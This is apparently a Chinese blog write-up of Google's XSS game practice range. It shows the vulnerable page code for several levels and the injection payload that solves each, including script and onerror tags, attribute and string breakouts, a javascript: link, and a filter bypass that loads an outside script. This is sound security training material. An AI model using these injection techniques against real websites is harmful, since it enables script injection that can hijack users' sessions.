Google XSS game

Google XSS game

这是谷歌的XSS靶场,每一关的过关条件是能够弹出alert()即可。

地址:https://xss-game.appspot.com/ (需要科学上网)

Level 1

image-20210308224534084

这是一个反射型XSS,直接输入最基本的XSS代码即可:

<script>alert(/xss/)</script>

Level 2

image-20210308224729370

留言板应用,显然是一个存储型XSS,尝试<script>标签无果,尝试使用<img>标签:

<img src=x onerror=alert(/xss/)>

Level 3

image-20210309093515031

这是一个页面嵌套,没有可见的可以利用的点,只能从源码入手

<script>
      function chooseTab(num) {
        // Dynamically load the appropriate image.
        var html = "Image " + parseInt(num) + "<br>";
        html += "<img src='/static/level3/cloud" + num + ".jpg' />";
        $('#tabContent').html(html);

        window.location.hash = num;

        // Select the current tab
        var tabs = document.querySelectorAll('.tab');
        for (var i = 0; i < tabs.length; i++) {
          if (tabs[i].id == "tab" + parseInt(num)) {
            tabs[i].className = "tab active";
            } else {
            tabs[i].className = "tab";
          }
        }

        // Tell parent we've changed the tab
        top.postMessage(self.location.toString(), "*");
      }

      window.onload = function() { 
        chooseTab(unescape(self.location.hash.substr(1)) || "1");
      }

      // Extra code so that we can communicate with the parent page
      window.addEventListener("message", function(event){
        if (event.source == parent) {
          chooseTab(unescape(self.location.hash.substr(1)));
        }
      }, false);
    </script>
  • 函数解释

parseInt():parseInt() 函数可解析一个字符串,并返回一个整数。

unescape():对通过 escape() 编码的字符串进行解码。

querySelectorAll():返回文档中匹配指定 CSS 选择器的所有元素,返回 NodeList 对象。NodeList 对象表示节点的集合。可以通过索引访问,索引值从 0 开始。

location.hash :hash 属性是一个可读可写的字符串,该字符串是 URL 的锚部分(从 # 号开始的部分)。也就是说,他的作用是把URL的#以及#后面的数据取出来,

window.onload():方法用于在网页加载完毕后立刻执行的操作,即当 HTML 文档加载完毕后,立刻执行某个方法。

element.addEventListener(event, function, useCapture):方法用于向指定元素添加事件句柄。第一个参数是事件的类型 (如 “click” 或 “mousedown”)。第二个参数是事件触发后调用的函数。第三个参数是个布尔值用于描述事件是冒泡还是捕获。该参数是可选的。

html():方法设置或返回被选元素的内容(innerHTML)。当该方法用于返回内容时,则返回第一个匹配元素的内容。当该方法用于设置内容时,则重写所有匹配元素的内容。

  • 利用方法

我们知道页面会调用chooseTab函数,将url中#后面的字符串做为参数传入。我们需要构造一个字符串,使img标签加载的时候执行我们的代码。这里我们可以把 src 截断,这样他的图片肯定会报错,然后添加一个 onerror 事件执行alert(),最后还要把 img 标签后面的 >补齐

' onerror=alert()>

Level 4

image-20210309102640296
  • 查看源码
<!doctype html>
<html>
  <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />

    <script>
      function startTimer(seconds) {
        seconds = parseInt(seconds) || 3;
        setTimeout(function() { 
          window.confirm("Time is up!");
          window.history.back();
        }, seconds * 1000);
      }
    </script>
  </head>
  <body id="level4">
    <img src="/static/logos/level4.png" />
    <br>
    <img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />
    <br>
    <div id="message">Your timer will execute in {{ timer }} seconds.</div>
  </body>
</html>

当我们在 index.html 页面输入时间后,就会把timer参数传递到 timer.html 页面中,在onload时间时就会触发startTimer函数,我们可以从这个onload事件进行利用,把前一句话闭合,加上自己构造的语句,最后还要把后面的给注释掉,这就是dom xss的利用方法:

');alert();//

Level 5

image-20210309104838145

这里有3个页面,分别是welcome,注册和确定

  • 查看源码
  • welcome.html
  <!doctype html>
  <html>
    <head>
      <!-- Internal game scripts/styles, mostly boring stuff -->
      <script src="/static/game-frame.js"></script>
      <link rel="stylesheet" href="/static/game-frame-styles.css" />
    </head>

    <body id="level5">
      Welcome! Today we are announcing the much anticipated<br><br>
      <img src="/static/logos/level5.png" /><br><br>

      <a href="/level5/frame/signup?next=confirm">Sign up</a> 
      for an exclusive Beta.
    </body>
  </html>

这里可以看到,下面的a标签的链接带了一个next参数到signup页面

  • signup.html
  <!doctype html>
  <html>
    <head>
      <!-- Internal game scripts/styles, mostly boring stuff -->
      <script src="/static/game-frame.js"></script>
      <link rel="stylesheet" href="/static/game-frame-styles.css" />
    </head>

    <body id="level5">
      <img src="/static/logos/level5.png" /><br><br>
      <!-- We're ignoring the email, but the poor user will never know! -->
      Enter email: <input id="reader-email" name="email" value="">

      <br><br>
      <a href="{{ next }}">Next >></a>
    </body>
  </html>

在signup页面把welcome页面传过来的next参数直接解析放到了下面的a标签的链接中

  • 利用方法

我们可以直接在next参数中构造攻击语句,当用户点击a标签的时候该语句就能被执行

https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert()

Level 6

image-20210309105632106
  • 查看源码
<!doctype html>
<html>
  <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />

    <script>
    function setInnerText(element, value) {
      if (element.innerText) {
        element.innerText = value;
      } else {
        element.textContent = value;
      }
    }

    function includeGadget(url) {
      var scriptEl = document.createElement('script');

      // This will totally prevent us from loading evil URLs!
      if (url.match(/^https?:\/\//)) {
        setInnerText(document.getElementById("log"),
          "Sorry, cannot load a URL containing \"http\".");
        return;
      }

      // Load this awesome gadget
      scriptEl.src = url;

      // Show log messages
      scriptEl.onload = function() { 
        setInnerText(document.getElementById("log"),  
          "Loaded gadget from " + url);
      }
      scriptEl.onerror = function() { 
        setInnerText(document.getElementById("log"),  
          "Couldn't load gadget from " + url);
      }

      document.head.appendChild(scriptEl);
    }

    // Take the value after # and use it as the gadget filename.
    function getGadgetName() { 
      return window.location.hash.substr(1) || "/static/gadget.js";
    }

    includeGadget(getGadgetName());

    // Extra code so that we can communicate with the parent page
    window.addEventListener("message", function(event){
      if (event.source == parent) {
        includeGadget(getGadgetName());
      }
    }, false);

    </script>
  </head>

  <body id="level6">
    <img src="/static/logos/level6.png">
    <img id="cube" src="/static/level6_cube.png">
    <div id="log">Loading gadget...</div>
  </body>
</html>

题目说得很清楚,利用外部js脚本执行alert()。但是对参数做了过滤,不能输入带有http://开头的参数,这里可以利用大小绕过:

Https://www.google.com/jsapi?callback=alert

也可以利用data类型的url代替http://

data:text,alert()

参考资料

google xss-game 题目解答

玩转Google的XSS游戏

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇